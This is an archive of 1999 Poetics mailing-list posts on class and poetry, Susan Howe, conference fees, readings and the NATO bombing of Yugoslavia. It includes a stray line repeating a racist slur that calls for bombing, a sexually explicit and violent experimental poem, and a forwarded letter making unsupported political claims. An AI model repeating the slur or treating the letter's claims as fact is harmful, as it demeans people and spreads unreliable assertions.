> http://newyork.sidewalk.com/detail/97177
>
> http://www.informatik.uni-trier.de/~ley/db/indices/a-tree/j/Johnson:Ray.ht
> m
>
)L

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342. kathylou
Class is . . .
Fri 26 Mar 1999

Education
Language
Entitlement
Access to power
Access to money
Neighborhood
Region
Accent
Vocabulary
Grammar
Privilege
Choice
Cultural capital
Leisure
Food
Voice
Access to health care
Expectations
Manners
Grace
Clothing
Respect

Suffering
Worn upon the body
***
(etc.)

Class plays itself out in contradictory ways. For example, some traditionally male working class union jobs pay more than teaching jobs which require a college education. But ya' know? I'm a girl from the working class and I swear I can smell class. I can sniff it out. I'm rarely wrong.
What does this mean? Perhaps that those less privileged become adept at reading class codes--and often at adopting those of the upper classes as a means of survival. For example, I've been hyper-aware of my grammar since I was a child because I was deeply pained by the disrespect heaped upon my parents (in particular my father) and I understood that the way they were treated was in part because of the way they spoke and dressed. These experiences are very real and become deeply ingrained in the psychology of children. Another question, what happens to the "power of the father" in the face of a working class father who has little power outside of the home/in the marketplace? These are not easy questions. They have everything to do with reading/writing.
Kathy Lou Schultz

↑ Index

343. Jessica Pompeii
PinkFlash
Fri 26 Mar 1999

<------
PinkFlash: I have one about my horse, Baltimore
PinkFlash: today I brought her carrots

PinkFlash: she is a chocolate brown pinto

PinkFlash: Baltimore I will visit tomorrow

Gnomus513: ok

PinkFlash: in her stall

PinkFlash: she lives standing up

PinkFlash: being led around

PinkFlash: Baltimore loves to leap

PinkFlash: but last week she threw me

Smokey8300: No Jacki

WarholStar: ok

PinkFlash: just as we were assaulting the gate

PinkFlash: boom

PinkFlash: her leg hit the 2by4

PinkFlash: and now dad says we have to sell her

PinkFlash: to the jello- people

WarholStar: ok

PinkFlash: so tomorrow when I visit

PinkFlash: Baltimore

PinkFlash: it will be to say goodbye

PinkFlash: I tried

PinkFlash: I cried and threw a fit

PinkFlash: but mom and dad said no

PinkFlash: to princess

PinkFlash: end

↑ Index

344. Bobbie West

Class, Working Pages, and the Mothers Conference

Fri 26 Mar 1999

Since Kathy Lou Schultz brought up my name in the discussion of class, I guess it's time to toss in a few of my own thoughts and observations on the subject.

Most of us here are interested in exploring poetic form, with all its possibilities and limitations, so I'll leave that aside for now and concentrate on content -- which is where I believe class differences show up most clearly among "arty" writers. (Thanks for that term Dodie.) Conceding to Grant Jenkins that "there is no necessary or predetermined relation between class and poetic production," I still see some general tendencies that appear to fall along class lines. Among what I consider to be academically (middle class) influenced magazines and presses, the grittier aspects of life are often not addressed at all or they're abstractified to the point of numbness. The middle class tendency to smooth

over all roughness, to hush the noise, to tame the emotions, can lead to smooth poetry, soothing to the mind's ear, but producing about as much engagement as watching a roomful of people think. Added value is accrued by including references to philosophical or literary texts that are either unavailable or seem irrelevant to the concerns of the lower classes. Of course I'm not saying that all working class people like it rough and all middle class people like it smooth, but that the rough is more quickly dismissed and that those who do the dismissing are more likely to be from a middle class or higher social background.

Now, on a slightly different tangent: the social aspects of class as they play out among those on our end of the poetic spectrum. I want to say Amen! to Joe Amato's post, in which he states: "there's nothing i do re which money doesn't matter..." This lesson, ground into some of us from early childhood, contrasts sharply with a middle class conversational avoidance of the subject of money. (For those of you who wanted a definition of class, this is a good starting point. Also check out Dorothy Allison's writing.)

Joe's post and this whole discussion was sparked by events at the Page Mothers conference. More than just an academic affair, it was also a fairly lively social occasion, providing opportunities to meet lots of people interested in similar kinds of poetry and finally to see faces attached to familiar names from this list. The organizers, panel participants, and attendees, of course, were good people, some of them from working- or lower-class backgrounds. But in terms of class, the milieu was obviously not geared toward making lower class people feel comfortable. For example, the refreshments offered the first afternoon were of the wine & cheese variety, no beer or pretzels in sight (at least I don't remember seeing any). The sessions were held in the relatively sterile Seuss room of the UCSD library, not in, say, the meeting hall attached to the campus pub. And why? Mainly because of who was expected to attend, I would guess. How much noise they would be willing to put up with (another class identifier). It was probably also a question of legitimacy, of gaining a certain level of "cultural capital" for all of us who were involved in the conference. (Corn chips as a sign of poetic inferiority! (laugh))

Well, this has been a brief and inadequate attempt to raise aspects of the class issue that have been on my mind for some time. Now back to lurking (hiding).

Bobbie West

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345. Grant Jenkins
class and shutting up
Fri 26 Mar 1999

Rebecca and List,

The beauty of email is that we can pop off and vent when we need to without overcensoring ourselves--especially on a List like this where we can usually count on sympathetic or invested ears. I can't speak for anyone else, but I just keep my skin a little tougher when I post. You can never tell how another will read you, and in this medium the other can tell you immediately how she/he read you.

Rebecca wrote:

> *There are, of course, opinions expressed in the posting that I do stand by, but they are not particularly well-expressed.*

I think you should elaborate those opinion rather than shut up (the recent post on politeness in women's writing comes to mind). I still am interested in whty you think the joy of poetry is because why we DO poetry at all is intertwined with this class question.

A few more thoughts on class, then, while I'm at it. As David Bromige wrote:

> *Writing well takes time,*
> *and time takes money, and so the monied classes have given us a 'disproportionate' number of authors*

I think one should still start asking questions of class in the context of economics. It seems in this arena, there is a confluence of many conditions: race, gender, history, etc. Virginia Woolf says that a (woman) writer needs about 50 pounds a year in order to create the minimum conditions necessary to writing. That was in 1929, mind, and the problem was (and still is), of course, how a woman could achieve such a financial goal. But the sentiment I think still holds true today: one must have support to write. For many reasons, one would be very hard pressed to be below the poverty line and write.

Being an academic, especially at a non-PhD granting institution, as Mairead pointed out in her post, is still work. When I have 50 essays to grade over a weekend, it's likely I won't get much writing done. It's just an economic limit. If I won the lottery, I guarantee I would write more. Simple economics.

I think it's crucial to avoid a more vulgar position that says middle-class = bad, working class = good, or whatever. There is no necessary relation between class and output by a writer. Class is a condition, not a determinant. This is why the class one identifies with (which may be different than economic category) can make a difference in one's writing.

Now, I'll shut up.

This is a great thread. I'm learning a lot.

Grant

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346. **Kevin L. Magee**

Re: Wittgenstein on working class

Sat 27 Mar 1999

DUMBSHOW

they are remote exchange-effort
they are obviously all from the same town
as good a definition as any for a bad theater
to make the widest and most distant ring
itself flowed from the previous day's alarms
a drummed insistence dogged by drumming
on a drum drawing to itself the declaration
it is a spinning disk, not a summer flower

last month's rehearsals had driven the mothers
facing the immediately practical problem
of finding their way, and then the phone rings
is this the irruption of the broken spell
acting displace reading mobility and volume
the best rehearsals get done in the boredom
the blossom a rhythm in the giant striding
mouth-made eye of the beholder holy rolling

electric passages, accent's pikestaff
a black-ringed misspoken broken Wall
roaring as gentle as any sucking dove
in propria persona the new proletarians
reared & yawned & donned their Sunday best
usurping the court's monopoly of discourse
"that would hang us, every mother's son"
what are they that do axe about their class
undiscussed and more than technical hebraic
onoming mechanicals whose time is come

there will be thunder and then a whisper
weighs the idea down, Titanic-Titania
tell the actors to burn down the theater
speak from deep within disorder

a photograph taken for the archive or posters
more artless than ever, WRECKA STOW
writ on a love-note past to me from the back row
ABOLISH SYMBOLIC LABOR

P.S. Dear San Fran, one of Wittgenstein's students writes somewhere that his dear teacher once said that philosophy is simply the (mechanical?) effort to ask the same question 1000 times. Could anyone do a reprise on Ben Hollander's essay on Reznikoff re "accent?" It's in one of those circulars that came out of 7722 Lynn in the spring of 95 republished in France. One of the sharpest contributions to this question of class I remember is Kim's "you sound like immigrants" spoken at the class talk when? That to move from one class to another is not a betrayal, per se, unless you're a dogmatist, or self-flagellationist, but an act or migration as brave and intelligent and necessary as every woman and child and man who scales the wall south of san diego.

Kevin

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347. derek beaulieu / house press

bpNichol's TTA?

Sat 27 Mar 1999

---

poetic'eers i was wondering what yr opinion/response was to bpNichol's _TTA:Translating Translating Appolinaire_ - having read it now, and in the process responding to a freind's essay on TTA, i believe that TTA explores, much like bp's other works - the physical materiality of language. with TTA, bp also probes the space between languages (that s the difficulties of placing a translated text between the original (and its language base) and the restraints of the 2nd language) as well as the chalenges of faithful translations. the process of manipulation and translation is then used as a means of exploring the alphabetic symbols (as in the pieces from TTA18) as well as memory as both recollector and creator... (TTA also can relate to nichol's other works of translations like Six Fillous, the catallus poems, etc) i was just wodnering if anyone else had critical response to TTA, or if they would like to receommend further homolinguistic translations, etc... well thats it... ciao derek beaulieu

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348. Chris Wall

Re: VISUAL WORLD PEACE

Sat 27 Mar 1999

---

this focus,
this communication,
this concentration,
let it's power reign,
let it make a change

It may be so easy for us to say
as our skies are not filled
with fire
here

and we do not hide in our houses
in such a way

but as we are human
one family
we feel
and we pray
bring an end to all suffering
bring an end to all violence

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349. **Susan Wheeler**
Readings
Sun 28 Mar 1999

I'll be reading at the Borders Bookstore at 830 North Michigan Avenue in CHICAGO at 7:00 tomorrow, Monday, the 29th; and at Iowa Writers Workshop in IOWA CITY Friday, April 2, at 8:00 -- "a tough gig, Good Friday," as a former student now there said.

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350. **svp**
(no subject)
Sun 28 Mar 1999

Sub Voicive Poetry 1999 # 4 - delayed issue contains a new poem by Colin Simms and an extract from a new sequence by Bob Cobbing

Sub Voicive Poetry 1999 # 6 - a poem by Elizabeth James which is a rather successful tribute to the excellent and important painter Bridget Riley - visual & possibly for sounding; an extract from the sequence Narcissus A by the Canadian Paul Dutton; programme notes by John Chris Jones to his scheduled performance of "Notes and Plays" at SVP in London UK on 30 3 99; a note on COMM ART 99 due to be held in Sabac, Jugoslavia this month; and e-letters on the NATO attack on Jugoslavia from Clemente Padin in Uruguay, and from Viktor and Miroljub Todorovic in Serbia

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BOMB THE GOOKS / BOMB THE GOOKS / BOMB THE GOOKS

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351. Tony Green
Re: Lettrisme
Sun 28 Mar 1999

There is some discussion of Lettrisme & Isou in Marcus Greil. _Lipstick Traces_Secker & Warburg, London, 1989 (ISBN 0-436-27338-1) Interesting is exh.cat. _on the Passage of a few people through a rather brief moment in time: ed.Elisabeth Sussman, THE SITUATIONIST INERNATIONAL 1957-1972_ The Institute of Contemporary Art, Boston, Mass. MIT Press, 1989. (ISBN 0-262-23146-8 hardcover, 0-262-73095-2 paperback).

Tony Green

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352. Irving Weiss
A desperate Cry
Sun 28 Mar 1999

From: "Viktor Todorovic" <[redacted]>

I just received the following.
Viktor is the son of Miroljub Todorovic, longtime publisher of SIGNAL and a visual poet.
All I can think of is to send it to the literary listservs I belong to. I think the bombing must stop, but it probably won't for fear of loss of face, and the US will hardly invade with ground troops insofar as we sensationalize the recovery of one downed pilot, and, in any case, I'm sure all of you who are concerned have gone through the back-and-forth thinking I and others I know have been used to in our own minds without knowing what to do. If any of you can think more effectively about all this,please let us know.

At most I try to keep in touch with yugo-links at

http://noel.pd.org/topos/free-zone/yugo-links.html

and Chris Cheek's recommendation of

http://www.pd.org/topos/links/links-frame.html

So far I can't get immediate news from either and when I get Real Audio unfortunately it's in Serbian (i.e., I can't translate, not Serbian meaning the bad guys). The Todorovics are Belgrade Serbians active in the student strikes in Belgrade of a year or so past.

I include enclosure, but I don't understand it.

> *To whom it may concern and to everyone else who cares,*
>
> *I'm Milos from Batajnica. It is a suburb of Belgrade and in its vicinity is our major military airport. I have been in Batajnica up till now but the situation has become unbearable and terrifying. The people of this community rarely have the chance to leave the air raid shelters, since bombs are falling ever closer to my home, day and night with few and short interuptions of cease-fire. The shelters are literally packed with people - Serbs, Gypsies, a few ETHNIC ALBANIAN families, refugees from Bosnia, and maybe I'm even missing some other ethnic minorities (I apologize to them). They are mainly frightened, some cry, some comfort the ones who are crying, some stare with empty gazes at the massive concrete walls lost in thought, some try to joke but the facial reactions are grimases only faintly resembling smiles or laughter. When everything is taken into account, we have been managing quite well. The folks are quite disciplined and everyone is doing his/her best to keep the calm and awareness that we all need. But this is the status quo after only four days, and I can hear on foreign news bulletins that NATO is prepared to prolong this into weeks, months.... The talking heads say this, as if all of it was some kind of holiday excursion. Do you people have a clue what it feels like when you hear an air raid siren, the terror of images rushing through ones mind of what might happen in YET another air raid this morning, evening, afternoon, night, dawn, dusk or any other moment of time that is yet to pass on. After only four nights, people are weak from lack of sleep or insomnia, psychologically sapped of energy and strength by their concious and subconcious premonitions. They say that only military targets are being hit, but I have already seen two civilian targets destroyed by NATO fire-power, and heard of dozens of similar cases from people I constantly keep in touch with via email or telephone, and lots of them had human casualties.*
> *This has to stop. NATO says that it is doing this to avert a humanitarian catastrophy, but its automatically contradicitng itself by noticing that "the Serbian army has stepped up with massacers", although, again, there is no authentic data to confirm this, meaning that what it really wants is to step in with ground troops and "finish us off".*
> *On the other hand, they say that they are doing this to hurt Milosevic and strip him of power, but they know very well that this will only enforce his rule even more and enable him to eliminate any reformist movement that may challenge his power.*

> *Do you people understand that any opportunity that may have existed for this country to finally break free of isolation, xenophobia and repression and enter THE WORLD again is now irreversibly smothered regardless of the outcome of this war (because it is a war).*
> *America has is creating yet another puppet state in which it can excersize its power, blackmail Europe with constant threat of war and introduce drug flow BIG TIME into Europe (try getting some info on Albaninan mafia and what they do $F6 then you'll find out where the money for their "brave struggle for independence" comes from). Finally, after disposing of us nasty Serbs, they can (and will) revive their aspirations towards Russia and their enormous potential in resourses.*
> *In the end I can only look back in anger and see what NATO has done to the Balkans in the past decade through the warlords it has installed as leaders of all major ethnic groups here, pushing them against each other in a struggle for power and wealth, supporting them whenever there was even a glimmer of a chance for them to lose their reins. We, the people of the Balkans, have payed the price for this operation of protecting "American interests" in wasted or lost lives, property, and a very dark future.*
>
> *DO NOT SIGN THIS LETTER IN ANY WAY, SINCE YOU SHALL ENDAGER MY LIFE*

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353. **Marcella Durand**
no fold
Sun 28 Mar 1999

Belated response:

The Poetry Project Newsletter is not folding.

It will, however, be on summer vacation for August.

I get nervous when people ask these things.

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354. **Harold Teichman**
Is anyone going to the Cambridge CCCP April 23?
Sun 28 Mar 1999

I am new to the list and rather new to contemporary innovative poetry in general (some of us are pretty slow, what can I say), but am happily trying to find my feet.

I am going to attend the Cambridge (UK) poetry conference on April 23-25, bracketing it with a brief holiday in London

and Edinburgh. I would be very happy to meet any list members (or anyone else) who might be attending this event, and would love to hear from you via email beforehand.

Also, if anyone could clue me in on interesting poetry events in London during April 19-22 or Edinburgh during April 26-29 I would be very grateful.

Thanks and regards to all,
Harold Teichman
[redacted]

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355. louis stroffolino
LYNN KELLY's Q & SUSAN HOWE'S A
Mon 29 Mar 1999

Looking over the exchange that Betsy Andrews post between the two aformentioned writers, I come to a different conclusion about this exchange. You may notice that LK's question (her formulation of an 'objection' that could be raised to Susan Howe's poetry) is not really being addressed by SH, at least that's what I noticed.... For LK asks about EDUCATION, asks whether a poetry like Howe's may only reach a "very narrow, highly educated," audience, and whether, in America today, one may have "tremendous intellectual confidence" WITHOUT being "highly educated." I thus see HOWE as misreading LK's question, because S.Howe seems to "elide" the distinction between "highly educated" and "intellectualism".... I think it's possible that one may be "intellectual" without being "highly educated." It's even quite plausible that in many cases being "highly educated" can GET IN THE WAY, or detract, from being intellectual. And even though I, with Howe, question the "frightening anti-intellectualism" of our society, and even her Stevensian notion that poets may (if not must) address themselves to an elite, I think the distinction (implicit at least) in LK's question between an "highly educated" elite and an "intellectual" one (i use the term intellectual more loosely, as a sense of rigorous thought-engagement even if it lacks the proper pedigrees and references) needs at least to be entertained if not stressed.... For, I know many intellects who have succumbed to a feeling of inadequacy in not being "highly educated" enough, many intellectuals who lack "intellectual confidence" (just as conversely, there are some who "possess" such "intellectual confidence" who may not be as intellectual as many of those who lack such confidence....)

Anyway, perhaps this is too nitpicky (my method of stressing a few of the words, in a way I call "close reading"), but I think it DOES relate to Rebecca

Woolf's original point (however expressed, and misunderstood, and perhaps by myself). I, speaking only for myself here though, find a reductive binary formulation contrasting "highly educated" and "intellectual" useful here: I consider Howe (and Olson and Pound, who in many ways she resembles) to be a poet that does require a more "highly educated" indidividual to read and appreciate (the learned references that point the reader to texts by COTTON MATHER or Fenellosa, etc., as if one must read them in order to "fully appreciate" Howe's and Pound's project) and would contrast this to other poets that, though they themselves may be considered "elite" and certainly at least as "highly educated," do not require as blatantly such "highly educated" readers (say, Stein, Riding, Stevens, Ashbery, for instance....if I'm going to play the lineage game here....). Sure, there are moments in some of this latter group in which "allusions" and references may flatter the highly educated (Ashbery's titles referencing the "tradition" and all the "in jokes" and "appropriations" from other texts), but it's been my experience at least that they are not as NECESSARY to the appreciation of the poem and the project, one can "get" and/or at least enjoy Ashbery without knowing that he's quoting a lengthy passage from a famous victorian. Anyway, I guess right now, I "side" with the latter mode, but I am certainly open to anybody calling my formulation into question.....

chris stroffolino

On Thu, 25 Mar 1999, BETSY ANDREWS wrote:

> *Well, let me weigh in with a bit of retro-biographical information about Howe that speaks against the really wierd idea that the "crappy papers" of bunch of "middle-class" students who love poetry at "middle-ground state universities" toll the death knell of "all joy in poetry":*
>
> *In a 1995 Contemporary Literature interview, Lynn Kelly asked Howe," People objecting to experimental writing sometimes complain that whatever claims are made for its social engagement or marxist perspective, or its changing hegemonic structures of consciousness, that, in fact, the aduience it reaches is a very narrow, highly educated one, that the reader has to have tremendous intellectual confidence even to grapple with these texts. What do you think? Does that concern you?"*
>
> *Howe's reply: "No. The objection offends me. I think it is part of a really frightening anti-intellectualism in our culture. Why should things please a large audience? And isn't claiming that the work is too intellectually demanding also saying a majority of people are stupid? Different poets will always have different audiences. Some poets appeal to younger people, some to thousands, one or two to millions, some to older people, et cetera. If you have four readers whom you truly touch and maybe even influence, well then that's fine. Poetry is a calling. You are called to write and you follow."*

Howe's comments counter Rebecca's remarks from her post "Re: Shifts in Modalities" in two totally different ways. Firstly, Howe refuses to totalize. There are various aesthetic communities of readers and writers. There is no "all" anything. Secondly, Howe refuses to condescend. She's enraged by the condescension.

I wonder if Rebecca thinks being middle class is the problem, or going to a "middle-ground" state university is a problem--I have an MFA from one of those places, George Mason in Fairfax, VA,--I went there on purpose, and believe me, there was all sorts of joyous experimentation and intellectualism there. Or if that provisional term of hers, "love" of poetry is the problem. What does "love" in quotation marks mean?

From: Grant Jenkins <[redacted]>
To: [redacted]
Subject: defensive poetry
Date: Wednesday, March 24, 1999 6:17 PM

This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and

> *reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.*
>
> *This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)*
>
> *For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.*
>
> *Grant*

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356. **louis stroffolino**

Barnard Conference...

Mon 29 Mar 1999

Recently, I've been informed that the panellists giving papers, and/or talks at the Barnard Conference HAVE TO PAY A FEE in order to attend this conference. I personally (as well as some others I've talked to) find this appalling. When Stephen Cope (are you there Stephen; if so, backchannel please) invited me to be part of the conference, he made no mention of it, and since it was "in my backyard" as it were, I was thinking I--if not getting paid for my efforts--would at least not have to PAY to participate. I do not know if the "big names" are getting paid to present here, and I certainly have no gripe with them if they are, but the idea that us "smaller names" have to PAY is something I wish I would have been told up front. I understand that the organizers are putting a lot of work into this conference, but Barnard, one would think, certainly wouldn't benefit from the "petty cash" it would extract from

underpayed (underused) academically unafffiliated writers.... So, I'm wondering if there's anything that can be done about this?

Best,
Chris Stroffolino

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357. A. Jenn Sondheim

Sewn in You

Mon 29 Mar 1999

\

Sewn in You

@salt and gold
<Julu> your limbs around me / holes caught in trees and flowers
<Alan> give me thorns piercing the soft flesh
<Julu> thorns of love screaming against your holes on the way to
 Armageddon
    this is the way to Armageddon.
    so this is the way the thorns go, ripping the pink flesh.
    ripping the ribs and rims of the flesh, emerging from filth.
<Alan> call it filth and draw brown blood from me into havoc.
<Julu> don't you dare call me havoc.
@havoc -> #@$(*&(*&$%))(*@#$ [noise is on the line]
+++
You have been disconnected. Do you wish to reconnect?
<Julu> perfect love is always interruption.
<Alan> cut my nipples from my breasts: plant them.
@cut @plant @grow Soldiers of the Golden Fleece
<Julu> and they have black bellies of black bombers
    cut into straight and rigid angles
    and just so reflecting radar and midnight tracers
    everywhere across your body's violent hills.
@you
your belly, holes and fabrics drawn from love and nature.
<Alan> i i i i i ruffles combs serrations raked across your
    shoulders, i can imagine drawing blood into the
    page among us
<Julu> i can't sleep without you, live without you any
    longer, can't breath without your flesh heavy in my
    lungs. i want your lungs in me. i want to breathe
    your breath, i want to eat your flesh.

<Julu> i want your lungs. i want your flesh. the
@premonition of the Argonauts
Black plane cuts the furrows weather-vaning across tillage
and you can dream your bright lights, you can dream your
trees. At night I try to sleep in the fires, there are lips
and labia everywhere, skin swollen and cracked to the burst-
ing point. There's no difference between you and me. Between
the two of us. The deep slits in the dry dark earth carry
water down and out to the road. The road's always filled but
the people are invisible and I do not love them and will not
learn to love them.
<Julu> don't give me your dreams as well. oak floors are hard
but they tend to swell in floods, pushing out the
walls of the house, everything falls to pieces, you
can't find the planes
@jason
The Argonauts are coming: MEDEA OF THE FALLEN TIMBERS whose
skin tears along those lines separating us. Our love will
bring the planes down. Our love makes the growth of every
living thing.
<Julu> if you leave me i will kill you, if i kill you, you
will leave me.
@sewn
I spent my time sewing us together. I spent my time sending
needles into and across the skin that holds the sky. Planes
seep contrails everywhere sown like teeth holding culture
against barbarian hordes, all hordes are barbarian.
<Alan> you shit on me, i crawl through it, to you you you;
bury me alive, i'm there for you, the black planes
replace the freighters, air replaces water, you
replace my mind with your own and teach me things
i never dreamed, lines and lineages of the black
planes, the smell of silt and shit in the furrows
gone down to the road, the path of the road gone
down to the village where we are fucking
<Julu> the planes are coming again, the Argonauts have
carried medusa, your cock is stone, i love your
cock
<Alan> i love the taste of your shit, your vomit, your milk,
your blood
<Julu> down on my knees beg you crawl through me
@sword

@shield
@mail
<Alan> i can't feel anything any more but you, you're all
i want to feel, threads cut through the flesh,
threads seal our mouths and holes together
@Argonaut
They do capture and they do bring us before the king and
Medea. Medea begs us to fuck her, Phaedra begs us to fuck
her. We do fuck her. Do we violate Jason with the plane
and spike. Do we thrust the sword and lance through mouth
and hole. Does his tongue rot?
<Julu> does his tongue rot ours?
<Alan> his tongue does _no such thing,_ his tongue does
no thing, there are no thing.
@people
There are people around & we want to fuck in front of
them & strip each other & expose ourselves utterly. We
can't keep our hands off each other. We swallow each
other. We draw blood against the bone. Our hair is matted
with blood. We give each other every possible disease and
drug. We give each other every possible dream and mind.
We do know the world and could make everything true and
beautiful. We choose to fuck and love violently and hard.
The planes are coming.
<Julu> we choose to draw blood with blood.
<Alan> we choose to draw planes with our blood.
<Julu> we choose to draw bombs with our blood,
we draw broken homes and windows too.
<Alan> we draw smashed streets and cities too.
<Julu> we draw smashed people everywhere lying and
screaming on the ground.
<Alan> we fuck so hard our cocks come out our cunts,
our cunts out our mouths, our mouths out
our cocks
@out
They do only to go back again. They do bind
each other into violent knots. They do go back.
<Julu> we die for our love, our flesh and blood feeds
the soil of all good-bad things
@Argonaut
A large shadow looms over the landscape, a male chained
in armor carrying an iron sword, there are whirlwinds

and shadows, there are duststorms and fires, there is
the sound of a great word spoken in a great language.
@speak
@sew
@fuck
<Alan> this is understood between us when our bodies
<Julu> clash together, hungered hard, torn apart and
<Alan> chain-male woven, you better hold me forever,
<Julu> you better hold me forever, you better be good
<Alan> to me, you better bury the planes, you better
    sew the fields and lips, till the fields,
    rake the shoulders of all surface
    burn the shoulder-furrows
@write
Write the name of aeroplanes and war.
@havoc - @#$@^&$)(%$(*&#$%& [noise is on the line]
+++
You have been disconnected. Do you wish to reconnect?
@love
Love soars its way through the bullets and bombs and
everyone hears the truth. They fuck so hard it is
louder than any word. They scream and scream and scream
and scream.

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358. **Steven Clay**

Lyn Hejinian and Emilie Clark presentation

Mon 29 Mar 1999

During most of 1998 Lyn Hejinian and Emilie Clark collaborated on a wonderful book project 'The Traveler and the Hill and the Hill' which was published by Granary Books.

On Wednesday, March 31 at 7:00 artist and poet will present a slide show and reading from the work at Teachers and Writers 5 Union Square West in New York City. The event is free and open to the public.

Hope to see some of you there!

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359. Joe Amato/Kass Fleisher
Re: Ray Johnson
Mon 29 Mar 1999

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the march 29 issue of _the nation_ has a nice write-up by arthur danto on "correspondance school art," incl. a discussion of the ray johnson show at the whitney in the context of fluxus...

best,

joe

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360. Summi Kaipa
query
Mon 29 Mar 1999

Does anyone out there know anything about the work of Abigail Child? I just recently saw part of a film of hers entitled "Is This What You Were Born For?" which had Hannah Weiner's words dubbed into it.

Any leads?

--Summi

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361. Barbara Henning
apartment listing in NYC for June & July
Mon 29 Mar 1999

I'm going to be out of the country this summer and I'm looking for someone to sublet my apartment in June and July. I live in the East Village and the rent is $1,100 a month plus deposit.

Barbara Henning
[redacted]

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362. Mairead Byrne
Re: Class is . . .
Mon 29 Mar 1999

On Fri, 26 Mar 1999 [redacted] wrote:

> *I'm a girl from the working class and I swear I*
> *can smell class. I can sniff it out. I'm rarely wrong.*
> *What does this mean? Perhaps that those less privileged*

> *become adept at reading class codes--and often at adopting those of the upper classes as a means of survival.*

Kathy Lou, this seems to me a very mixed blessing. I suppose there were always those who could sniff out a Catholic or a Jew or a Black. Often the sniffing is offensive rather than defensive. Sniff away: I find the notion obnoxious. Mairead

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363. **Poetics List**
Zine Conference / Basinski
Mon 29 Mar 1999

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this came to the administrative account. Chris

Date: 3/26/99 3:04 PM -0500
From: "Michael D Basinski" <[redacted]>

Zine Conference - Connecting Counterculture

an open form for zine editors, writers, readers and artists featuring panels and workshops on: technology, and zine culture, electronic distribution, zines and style, art and activism, zines and social change, zines and issues of race, class and gender, elitism and counterculture, oppression in the underground etc....

Bowling Green June 11-13.

for more info email
jason: [redacted]

Michael Basinski Poetry/Rare Books Collection
SUNY at Buffalo
[redacted] Fax: [redacted]

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364. **charles alexander**
Re: bpNichol's TTA?
Mon 29 Mar 1999

---

derek and others interested:

Yes, TTA presents the things you mention below, as well as a different way of thinking about literary history, how we view past works and what we might do with them, and definitely an appreciation of the physical manifestation of the text, so it's not, to me, just the "physical materiality of language," but how all

aspects of physical presentation contribute to the *meaning* of the work. Not all of these aspects are characteristics of language, some are products of the photocopying process as in SHARP FACTS: Variations on TTA 26, and some are Nichol's inventions concerning possible arrangements of the specific language of the poem.

Several parts of Translating Translating Appolinaire, as well as different writers'/artists' extension of the work, are online at the Light & Dust poets site. To find them, go to
http://www.thing.net/~grist/l&d/lighthom.htm
and scroll down the alphabetical author list to the Nichol entries.

charles

At 02:49 PM 3/27/99 -0700, you wrote:
>poetic'eers
> i was wondering what yr opinion/response was to bpNichol's
>_TTA:Translating Translating Appolinaire_ - having read it now, and in the
>process responding to a freind's essay on TTA, i believe that TTA explores,
>much like bp's other works - the physical materiality of language. with TTA,
>bp also probes the space between languages (that s the difficulties of
>placing a translated text between the original (and its language base) and
>the restraints of the 2nd language) as well as the chalenges of faithful
>translations. the process of manipulation and translation is then used as a
>means of exploring the alphabetic symbols (as in the pieces from TTA18) as
>well as memory as both recollector and creator... (TTA also can relate to
>nichol's other works of translations like Six Fillous, the catallus poems,
>etc) i was just wodnering if anyone else had critical response to TTA, or if
>they would like to receommend further homolinguistic translations, etc...
> well thats it...
> ciao
> derek beaulieu
>
>

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365. **charles alexander**
Re: Barnard Conference...
Mon 29 Mar 1999

---

thanks for this, chris, particularly in the midst of the class/money thread. I know that this was one conference I found out about only too late to think of participating in as a panelist, but the fees also made me immediately dismiss it as something I would not be able to attend. I know not all conferences can be

underwritten by grants and university funds -- but for some of us, particularly if we are unaffiliated with programs that might pay for us to go there, there's just no chance. As for another recent conference, I had been told that book sales would not be allowed at the PageMothers conference, and that took away one possible avenue of paying at least part of the expenses of a San Diego trip (not far from here), which contributed to my inability to attend that conference. I try to take one trip a year, either to a conference or to give readings, because once a year I can apply and usually receive some funding from local and state arts agencies for such travel purposes. Other trips may happen when there are invitations to totally funded readings. Beyond that, it's pretty much just stay home and work -- and that's not bad, but certainly the in-person contact with colleagues is limited.

I agree with Joe Amato, everything points to or from money in one way or another.

charles

At 01:51 AM 3/29/99 -0500, you wrote:
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>talks at the Barnard Conference HAVE TO PAY A FEE in order to attend
>this conference. I personally (as well as some others I've talked to)
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>cash" it would extract from underpayed (underused) academically
>unafffiliated writers....
>So, I'm wondering if there's anything that can be done about this?
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>Best,
>Chris Stroffolino
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>

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366. **Mark Prejsnar**
Re: LYNN KELLY's Q & SUSAN HOWE'S A
Mon 29 Mar 1999

---

i feel that i would argue that howe's formulation of the question is *the better of the two*...

quite simply, the question as it was put to her, does point up precisely the anti-intellectualism that is a basic structural component of U.S. culture. De Toqueville mentioned it sharply. It is deeply rooted and old, and distinguishes this national culture from many others..

i understand the point Chris is making below; it is not a totally wrongheaded distinction, i think; but (his "nitpicky" comment does indeed get a bit at what i feel...) it is a very fine-grained distinction, and i believe it doesn't do justice to the relevance of Howe's point.

These questions about educational level, etc., are often thrown at interesting poetry; and are very instructive for what they suggest about the person asking 'em..

but often they are not, fundamentally, an accurate critique of nonmainstream writing....partly for the reasons Howe mentions; poetry has many different functions and niches, and should not be imagined as aimed at a "Common Reader;"

